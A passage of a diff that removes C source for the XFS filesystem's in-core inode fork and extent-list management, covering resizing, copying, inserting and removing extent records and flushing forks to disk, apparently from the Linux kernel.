memcpy(new_broot, ifp->if_broot, - XFS_BMBT_BLOCK_LEN(ip->i_mount)); - } else { - new_broot = NULL; - ifp->if_flags &= ~XFS_IFBROOT; - } - - /* - * Only copy the records and pointers if there are any. - */ - if (new_max > 0) { - /* - * First copy the records. - */ - op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); - np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); - memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); - - /* - * Then copy the pointers. - */ - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, - (int)new_size); - memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); - } - kmem_free(ifp->if_broot); - ifp->if_broot = new_broot; - ifp->if_broot_bytes = (int)new_size; - ASSERT(ifp->if_broot_bytes <= - XFS_IFORK_SIZE(ip, whichfork) + XFS_BROOT_SIZE_ADJ(ip)); - return; -} - - -/* - * This is called when the amount of space needed for if_data - * is increased or decreased. The change in size is indicated by - * the number of bytes that need to be added or deleted in the - * byte_diff parameter. - * - * If the amount of space needed has decreased below the size of the - * inline buffer, then switch to using the inline buffer. Otherwise, - * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer - * to what is needed. - * - * ip -- the inode whose if_data area is changing - * byte_diff -- the change in the number of bytes, positive or negative, - * requested for the if_data array. - */ -void -xfs_idata_realloc( - xfs_inode_t *ip, - int byte_diff, - int whichfork) -{ - xfs_ifork_t *ifp; - int new_size; - int real_size; - - if (byte_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - new_size = (int)ifp->if_bytes + byte_diff; - ASSERT(new_size >= 0); - - if (new_size == 0) { - if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - kmem_free(ifp->if_u1.if_data); - } - ifp->if_u1.if_data = NULL; - real_size = 0; - } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { - /* - * If the valid extents/data can fit in if_inline_ext/data, - * copy them from the malloc'd vector and free it. - */ - if (ifp->if_u1.if_data == NULL) { - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - ASSERT(ifp->if_real_bytes != 0); - memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, - new_size); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } - real_size = 0; - } else { - /* - * Stuck with malloc/realloc. - * For inline data, the underlying buffer must be - * a multiple of 4 bytes in size so that it can be - * logged and stay on word boundaries. We enforce - * that here. - */ - real_size = roundup(new_size, 4); - if (ifp->if_u1.if_data == NULL) { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - /* - * Only do the realloc if the underlying size - * is really changing. - */ - if (ifp->if_real_bytes != real_size) { - ifp->if_u1.if_data = - kmem_realloc(ifp->if_u1.if_data, - real_size, - ifp->if_real_bytes, - KM_SLEEP | KM_NOFS); - } - } else { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, - ifp->if_bytes); - } - } - ifp->if_real_bytes = real_size; - ifp->if_bytes = new_size; - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); -} - -void -xfs_idestroy_fork( - xfs_inode_t *ip, - int whichfork) -{ - xfs_ifork_t *ifp; - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (ifp->if_broot != NULL) { - kmem_free(ifp->if_broot); - ifp->if_broot = NULL; - } - - /* - * If the format is local, then we can't have an extents - * array so just look for an inline data array. If we're - * not local then we may or may not have an extents list, - * so check and free it up if we do. - */ - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && - (ifp->if_u1.if_data != NULL)) { - ASSERT(ifp->if_real_bytes != 0); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = NULL; - ifp->if_real_bytes = 0; - } - } else if ((ifp->if_flags & XFS_IFEXTENTS) && - ((ifp->if_flags & XFS_IFEXTIREC) || - ((ifp->if_u1.if_extents != NULL) && - (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { - ASSERT(ifp->if_real_bytes != 0); - xfs_iext_destroy(ifp); - } - ASSERT(ifp->if_u1.if_extents == NULL || - ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); - ASSERT(ifp->if_real_bytes == 0); - if (whichfork == XFS_ATTR_FORK) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - } -} - -/* - * xfs_iextents_copy() - * - * This is called to copy the REAL extents (as opposed to the delayed - * allocation extents) from the inode into the given buffer. It - * returns the number of bytes copied into the buffer. - * - * If there are no delayed allocation extents, then we can just - * memcpy() the extents into the buffer. Otherwise, we need to - * examine each extent in turn and skip those which are delayed. - */ -int -xfs_iextents_copy( - xfs_inode_t *ip, - xfs_bmbt_rec_t *dp, - int whichfork) -{ - int copied; - int i; - xfs_ifork_t *ifp; - int nrecs; - xfs_fsblock_t start_block; - - ifp = XFS_IFORK_PTR(ip, whichfork); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); - ASSERT(ifp->if_bytes > 0); - - nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); - ASSERT(nrecs > 0); - - /* - * There are some delayed allocation extents in the - * inode, so copy the extents one at a time and skip - * the delayed ones. There must be at least one - * non-delayed extent. - */ - copied = 0; - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - start_block = xfs_bmbt_get_startblock(ep); - if (isnullstartblock(start_block)) { - /* - * It's a delayed allocation extent, so skip it. - */ - continue; - } - - /* Translate to on disk format */ - put_unaligned_be64(ep->l0, &dp->l0); - put_unaligned_be64(ep->l1, &dp->l1); - dp++; - copied++; - } - ASSERT(copied != 0); - xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); - - return (copied * (uint)sizeof(xfs_bmbt_rec_t)); -} - -/* - * Each of the following cases stores data into the same region - * of the on-disk inode, so only one of them can be valid at - * any given time. While it is possible to have conflicting formats - * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is - * in EXTENTS format, this can only happen when the fork has - * changed formats after being modified but before being flushed. - * In these cases, the format always takes precedence, because the - * format indicates the current state of the fork. - */ -/*ARGSUSED*/ -void -xfs_iflush_fork( - xfs_inode_t *ip, - xfs_dinode_t *dip, - xfs_inode_log_item_t *iip, - int whichfork, - xfs_buf_t *bp) -{ - char *cp; - xfs_ifork_t *ifp; - xfs_mount_t *mp; - - static const short brootflag[2] = - { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; - static const short dataflag[2] = - { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; - static const short extflag[2] = - { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; - - if (!iip) - return; - ifp = XFS_IFORK_PTR(ip, whichfork); - /* - * This can happen if we gave up in iformat in an error path, - * for the attribute fork. - */ - if (!ifp) { - ASSERT(whichfork == XFS_ATTR_FORK); - return; - } - cp = XFS_DFORK_PTR(dip, whichfork); - mp = ip->i_mount; - switch (XFS_IFORK_FORMAT(ip, whichfork)) { - case XFS_DINODE_FMT_LOCAL: - if ((iip->ili_fields & dataflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(ifp->if_u1.if_data != NULL); - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); - memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); - } - break; - - case XFS_DINODE_FMT_EXTENTS: - ASSERT((ifp->if_flags & XFS_IFEXTENTS) || - !(iip->ili_fields & extflag[whichfork])); - if ((iip->ili_fields & extflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(xfs_iext_get_ext(ifp, 0)); - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); - (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, - whichfork); - } - break; - - case XFS_DINODE_FMT_BTREE: - if ((iip->ili_fields & brootflag[whichfork]) && - (ifp->if_broot_bytes > 0)) { - ASSERT(ifp->if_broot != NULL); - ASSERT(ifp->if_broot_bytes <= - (XFS_IFORK_SIZE(ip, whichfork) + - XFS_BROOT_SIZE_ADJ(ip))); - xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, - (xfs_bmdr_block_t *)cp, - XFS_DFORK_SIZE(dip, mp, whichfork)); - } - break; - - case XFS_DINODE_FMT_DEV: - if (iip->ili_fields & XFS_ILOG_DEV) { - ASSERT(whichfork == XFS_DATA_FORK); - xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); - } - break; - - case XFS_DINODE_FMT_UUID: - if (iip->ili_fields & XFS_ILOG_UUID) { - ASSERT(whichfork == XFS_DATA_FORK); - memcpy(XFS_DFORK_DPTR(dip), - &ip->i_df.if_u2.if_uuid, - sizeof(uuid_t)); - } - break; - - default: - ASSERT(0); - break; - } -} - -/* - * Return a pointer to the extent record at file index idx. - */ -xfs_bmbt_rec_host_t * -xfs_iext_get_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx) /* index of target extent */ -{ - ASSERT(idx >= 0); - ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - - if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { - return ifp->if_u1.if_ext_irec->er_extbuf; - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_ext_irec_t *erp; /* irec pointer */ - int erp_idx = 0; /* irec index */ - xfs_extnum_t page_idx = idx; /* ext index in target list */ - - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - return &erp->er_extbuf[page_idx]; - } else if (ifp->if_bytes) { - return &ifp->if_u1.if_extents[idx]; - } else { - return NULL; - } -} - -/* - * Insert new item(s) into the extent records for incore inode - * fork 'ifp'. 'count' new items are inserted at index 'idx'. - */ -void -xfs_iext_insert( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* starting index of new items */ - xfs_extnum_t count, /* number of inserted items */ - xfs_bmbt_irec_t *new, /* items to insert */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t i; /* extent record index */ - - trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); - - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - xfs_iext_add(ifp, idx, count); - for (i = idx; i < idx + count; i++, new++) - xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be increased. The ext_diff parameter stores the - * number of new extents being added and the idx parameter contains - * the extent index where the new extents will be added. If the new - * extents are being appended, then we just need to (re)allocate and - * initialize the space. Otherwise, if the new extents are being - * inserted into the middle of the existing entries, a bit more work - * is required to make room for the new extents to be inserted. The - * caller is responsible for filling in the new extent entries upon - * return. - */ -void -xfs_iext_add( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin adding exts */ - int ext_diff) /* number of extents to add */ -{ - int byte_diff; /* new bytes being added */ - int new_size; /* size of extents after adding */ - xfs_extnum_t nextents; /* number of extents in file */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT((idx >= 0) && (idx <= nextents)); - byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); - new_size = ifp->if_bytes + byte_diff; - /* - * If the new number of extents (nextents + ext_diff) - * fits inside the inode, then continue to use the inline - * extent buffer. - */ - if (nextents + ext_diff <= XFS_INLINE_EXTS) { - if (idx < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], - &ifp->if_u2.if_inline_ext[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); - } - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; - } - /* - * Otherwise use a linear (direct) extent list. - * If the extents are currently inside the inode, - * xfs_iext_realloc_direct will switch us from - * inline to direct extent allocation mode. - */ - else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, new_size); - if (idx < nextents) { - memmove(&ifp->if_u1.if_extents[idx + ext_diff], - &ifp->if_u1.if_extents[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); - } - } - /* Indirection array */ - else { - xfs_ext_irec_t *erp; - int erp_idx = 0; - int page_idx = idx; - - ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); - if (ifp->if_flags & XFS_IFEXTIREC) { - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); - } else { - xfs_iext_irec_init(ifp); - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = ifp->if_u1.if_ext_irec; - } - /* Extents fit in target extent page */ - if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { - if (page_idx < erp->er_extcount) { - memmove(&erp->er_extbuf[page_idx + ext_diff], - &erp->er_extbuf[page_idx], - (erp->er_extcount - page_idx) * - sizeof(xfs_bmbt_rec_t)); - memset(&erp->er_extbuf[page_idx], 0, byte_diff); - } - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - } - /* Insert a new extent page */ - else if (erp) { - xfs_iext_add_indirect_multi(ifp, - erp_idx, page_idx, ext_diff); - } - /* - * If extent(s) are being appended to the last page in - * the indirection array and the new extent(s) don't fit - * in the page, then erp is NULL and erp_idx is set to - * the next index needed in the indirection array. - */ - else { - int count = ext_diff; - - while (count) { - erp = xfs_iext_irec_new(ifp, erp_idx); - erp->er_extcount = count; - count -= MIN(count, (int)XFS_LINEAR_EXTS); - if (count) { - erp_idx++; - } - } - } - } - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being added to the indirection - * array and the new extents do not fit in the target extent list. The - * erp_idx parameter contains the irec index for the target extent list - * in the indirection array, and the idx parameter contains the extent - * index within the list. The number of extents being added is stored - * in the count parameter. - * - * |-------| |-------| - * | | | | idx - number of extents before idx - * | idx | | count | - * | | | | count - number of extents being inserted at idx - * |-------| |-------| - * | count | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_add_indirect_multi( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* target extent irec index */ - xfs_extnum_t idx, /* index within target list */ - int count) /* new extents being added */ -{ - int byte_diff; /* new bytes being added */ - xfs_ext_irec_t *erp; /* pointer to irec entry */ - xfs_extnum_t ext_diff; /* number of extents to add */ - xfs_extnum_t ext_cnt; /* new extents still needed */ - xfs_extnum_t nex2; /* extents after idx + count */ - xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ - int nlists; /* number of irec's (lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex2 = erp->er_extcount - idx; - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* - * Save second part of target extent list - * (all extents past */ - if (nex2) { - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); - memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); - erp->er_extcount -= nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); - memset(&erp->er_extbuf[idx], 0, byte_diff); - } - - /* - * Add the new extents to the end of the target - * list, then allocate new irec record(s) and - * extent buffer(s) as needed to store the rest - * of the new extents. - */ - ext_cnt = count; - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); - if (ext_diff) { - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - while (ext_cnt) { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); - erp->er_extcount = ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - - /* Add nex2 extents back to indirection array */ - if (nex2) { - xfs_extnum_t ext_avail; - int i; - - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; - i = 0; - /* - * If nex2 extents fit in the current page, append - * nex2_ep after the new extents. - */ - if (nex2 <= ext_avail) { - i = erp->er_extcount; - } - /* - * Otherwise, check if space is available in the - * next page. - */ - else if ((erp_idx < nlists - 1) && - (nex2 <= (ext_avail = XFS_LINEAR_EXTS - - ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { - erp_idx++; - erp++; - /* Create a hole for nex2 extents */ - memmove(&erp->er_extbuf[nex2], erp->er_extbuf, - erp->er_extcount * sizeof(xfs_bmbt_rec_t)); - } - /* - * Final choice, create a new extent page for - * nex2 extents. - */ - else { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - } - memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); - kmem_free(nex2_ep); - erp->er_extcount += nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); - } -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be decreased. The ext_diff parameter stores the - * number of extents to be removed and the idx parameter contains - * the extent index where the extents will be removed from. - * - * If the amount of space needed has decreased below the linear - * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous - * extent array. Otherwise, use kmem_realloc() to adjust the - * size to what is needed. - */ -void -xfs_iext_remove( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff, /* number of extents to remove */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - trace_xfs_iext_remove(ip, idx, state, _RET_IP_); - - ASSERT(ext_diff > 0); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_iext_remove_indirect(ifp, idx, ext_diff); - } else if (ifp->if_real_bytes) { - xfs_iext_remove_direct(ifp, idx, ext_diff); - } else { - xfs_iext_remove_inline(ifp, idx, ext_diff); - } - ifp->if_bytes = new_size; -} - -/* - * This removes ext_diff extents from the inline buffer, beginning - * at extent index idx. - */ -void -xfs_iext_remove_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - int nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - ASSERT(idx < XFS_INLINE_EXTS); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(((nextents - ext_diff) > 0) && - (nextents - ext_diff) < XFS_INLINE_EXTS); - - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx], - &ifp->if_u2.if_inline_ext[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - } else { - memset(&ifp->if_u2.if_inline_ext[idx], 0, - ext_diff * sizeof(xfs_bmbt_rec_t)); - } -} - -/* - * This removes ext_diff extents from a linear (direct) extent list, - * beginning at extent index idx. If the extents are being removed - * from the end of the list (ie. truncate) then we just need to re- - * allocate the list to remove the extra space. Otherwise, if the - * extents are being removed from the middle of the existing extent - * entries, then we first need to move the extent records beginning - * at idx + ext_diff up in the list to overwrite the records being - * removed, then remove the extra space via kmem_realloc. - */ -void -xfs_iext_remove_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - new_size = ifp->if_bytes - - (ext_diff * sizeof(xfs_bmbt_rec_t)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - return; - } - /* Move extents up in the list (if needed) */ - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u1.if_extents[idx], - &ifp->if_u1.if_extents[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - } - memset(&ifp->if_u1.if_extents[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - /* - * Reallocate the direct extent list. If the extents - * will fit inside the inode then xfs_iext_realloc_direct - * will switch from direct to inline extent allocation - * mode for us. - */ - xfs_iext_realloc_direct(ifp, new_size); - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being removed from the - * indirection array and the extents being removed span multiple extent - * buffers. The idx parameter contains the file extent index where we - * want to begin removing extents, and the count parameter contains - * how many extents need to be removed. - * - * |-------| |-------| - * | nex1 | | | nex1 - number of extents before idx - * |-------| | count | - * | | | | count - number of extents being removed at idx - * | count | |-------| - * | | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_remove_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing extents */ - int count) /* number of extents to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int erp_idx = 0; /* indirection array index */ - xfs_extnum_t ext_cnt; /* extents left to remove */ - xfs_extnum_t ext_diff; /* extents to remove in current list */ - xfs_extnum_t nex1; /* number of extents before idx */ - xfs_extnum_t nex2; /* extents after idx + count */ - int page_idx = idx; /* index in target extent list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - ASSERT(erp != NULL); - nex1 = page_idx; - ext_cnt = count; - while (ext_cnt) { - nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); - ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); - /* - * Check for deletion of entire list; - * xfs_iext_irec_remove() updates extent offsets. - */ - if (ext_diff == erp->er_extcount) { - xfs_iext_irec_remove(ifp, erp_idx); - ext_cnt -= ext_diff; - nex1 = 0; - if (ext_cnt) { - ASSERT(erp_idx < ifp->if_real_bytes / - XFS_IEXT_BUFSZ); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex1 = 0; - continue; - } else { - break; - } - } - /* Move extents up (if needed) */ - if (nex2) { - memmove(&erp->er_extbuf[nex1], - &erp->er_extbuf[nex1 + ext_diff], - nex2 * sizeof(xfs_bmbt_rec_t)); - } - /* Zero out rest of page */ - memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - - ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); - /* Update remaining counters */ - erp->er_extcount -= ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); - ext_cnt -= ext_diff; - nex1 = 0; - erp_idx++; - erp++; - } - ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); - xfs_iext_irec_compact(ifp); -} - -/* - * Create, destroy, or resize a linear (direct) block of extents. - */ -void -xfs_iext_realloc_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new size of extents */ -{ - int rnew_size; /* real new size of extents */ - - rnew_size = new_size; - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || - ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && - (new_size != ifp->if_real_bytes))); - - /* Free extent records */ - if (new_size == 0) { - xfs_iext_destroy(ifp); - } - /* Resize direct extent list and zero any new bytes */ - else if (ifp->if_real_bytes) { - /* Check if extents will fit inside the inode */ - if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { - xfs_iext_direct_to_inline(ifp, new_size / - (uint)sizeof(xfs_bmbt_rec_t)); - ifp->if_bytes = new_size; - return; - } - if (!is_power_of_2(new_size)){ - rnew_size = roundup_pow_of_two(new_size); - } - if (rnew_size != ifp->if_real_bytes) { - ifp->if_u1.if_extents = - kmem_realloc(ifp->if_u1.if_extents, - rnew_size, - ifp->if_real_bytes, KM_NOFS); - } - if (rnew_size > ifp->if_real_bytes) { - memset(&ifp->if_u1.if_extents[ifp->if_bytes / - (uint)sizeof(xfs_bmbt_rec_t)], 0, - rnew_size - ifp->if_real_bytes); - } - } - /* - * Switch from the inline extent buffer to a direct - * extent list. Be sure to include the inline extent - * bytes in new_size. - */ - else { - new_size += ifp->if_bytes; - if (!is_power_of_2(new_size)) { - rnew_size = roundup_pow_of_two(new_size); - } - xfs_iext_inline_to_direct(ifp, rnew_size); - } - ifp->if_real_bytes = rnew_size; - ifp->if_bytes = new_size; -} - -/* - * Switch from linear (direct) extent records to inline buffer. - */ -void -xfs_iext_direct_to_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t nextents) /* number of extents in file */ -{ - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - ASSERT(nextents <= XFS_INLINE_EXTS); - /* - * The inline buffer was zeroed when we switched - * from inline to direct extent allocation mode, - * so we don't need to clear it here. - */ - memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, - nextents * sizeof(xfs_bmbt_rec_t)); - kmem_free(ifp->if_u1.if_extents); - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; -} - -/* - * Switch from inline buffer to linear (direct) extent records. - * new_size should already be rounded up to the next power of 2 - * by the caller (when appropriate), so use new_size as it is. - * However, since new_size may be rounded up, we can't update - * if_bytes here. It is the caller's responsibility to update - * if_bytes upon return. - */ -void -xfs_iext_inline_to_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* number of extents in file */ -{ - ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); - memset(ifp->if_u1.if_extents, 0, new_size); - if (ifp->if_bytes) { - memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, - ifp->if_bytes); - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_real_bytes = new_size; -} - -/* - * Resize an extent indirection array to new_size bytes. - */ -STATIC void -xfs_iext_realloc_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new indirection array size */ -{ - int nlists; /* number of irec's (ex lists) */ - int size; /* current indirection array size */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - size = nlists * sizeof(xfs_ext_irec_t); - ASSERT(ifp->if_real_bytes); - ASSERT((new_size >= 0) && (new_size != size)); - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else { - ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) - kmem_realloc(ifp->if_u1.if_ext_irec, - new_size, size, KM_NOFS); - } -} - -/* - * Switch from indirection array to linear (direct) extent allocations. - */ -STATIC void -xfs_iext_indirect_to_direct( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_bmbt_rec_host_t *ep; /* extent record pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - int size; /* size of file extents */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - size = nextents * sizeof(xfs_bmbt_rec_t); - - xfs_iext_irec_compact_pages(ifp); - ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); - - ep = ifp->if_u1.if_ext_irec->er_extbuf; - kmem_free(ifp->if_u1.if_ext_irec); - ifp->if_flags &= ~XFS_IFEXTIREC; - ifp->if_u1.if_extents = ep; - ifp->if_bytes = size; - if (nextents < XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, size); - } -} - -/* - * Free incore file extents. - */ -void -xfs_iext_destroy( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - if (ifp->if_flags & XFS_IFEXTIREC) { - int erp_idx; - int nlists; - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); - } - ifp->if_flags &= ~XFS_IFEXTIREC; - } else if (ifp->if_real_bytes) { - kmem_free(ifp->if_u1.if_extents); - } else if (ifp->if_bytes) { - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_u1.if_extents = NULL; - ifp->if_real_bytes = 0; - ifp->if_bytes = 0; -} - -/* - * Return a pointer to the extent record for file system block bno. - */ 